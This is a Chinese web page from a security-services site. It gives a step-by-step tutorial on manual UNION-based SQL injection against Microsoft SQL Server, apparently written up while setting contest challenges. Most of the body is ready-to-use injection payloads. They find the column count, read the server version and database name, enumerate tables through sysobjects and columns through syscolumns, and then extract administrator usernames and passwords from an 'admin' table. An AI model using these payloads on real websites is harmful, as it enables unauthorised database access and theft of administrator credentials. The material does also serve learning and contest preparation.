- Rongsen.Com.Cn 版权所有 2008-2010 京ICP备08007000号 京公海网安备11010802026356号 朝阳网安编号:110105199号
- 北京黑客防线网安工作室-黑客防线网安服务器维护基地为您提供专业的
服务器维护
,企业网站维护
,网站维护
服务 - (建议采用1024×768分辨率,以达到最佳视觉效果) Powered by 黑客防线网安 ©2009-2010 www.rongsen.com.cn
作者:黑客防线网安SQL维护基地 来源:黑客防线网安SQL维护基地 浏览次数:0 |
这是这次出攻防大赛题目的时候顺便做的一些注入总结,是我通过查询系统表结构总结出来的。只要注入点有效,并且没有过滤单引号,即使它管理员表名和字段名设置的再复杂都是可以猜出来的,而且由于是用union,效率还是很高的。还有只需要DBO权限即可。
以一个数字型注入点为例( 暂时假设这个数字型注入点对单引号也没有过滤)
先用 order by 猜SQL所查询字段数,并用Union验证(这里直接Select当前数据库下的sysobjects系统表)
ID=735 order by 8
ID=-735 union select 1,2,3,4,5,6,7,8 from sysobjects
或者
ID=-735 union select 1,2,3,4,5,6,7,8 from master.dbo.sysobjects
假如这里屏幕上会显示2,3,4
顺便查下版本和数据库名
ID=-735 union select 1,@@version,db_name(),4,5,6,7,8 from sysobjects
//这里假如查出当前数据库名dbname
接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了)
ID=-735 union select 1,2,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')),4,5,6,7,8 from sysobjects
如果要查其他数据库的表名还可以这样:
ID=-735 union select 1,2,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),4,5,6,7,8 from sysobjects
//这里假如查出管理员表admin
继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
ID=-735 union select 1,2,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='admin'))),4,5,6,7,8 from sysobjects
//这里假如查到的管理员用户名和密码字段分别是name和psw
剩下的就简单啦,依次把管理员用户名和密码就可以Union出来了(仍然修改第二个top N来遍历字段)
//这里假设使用的是前面已经猜出来的表名admin和字段name,psw
ID=-735 union select top 1 1,name,psw,4,5,6,7,8 from admin where name not in (select top 0 name from admin)
我要申请本站:N点 | 黑客防线官网 | |
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479 |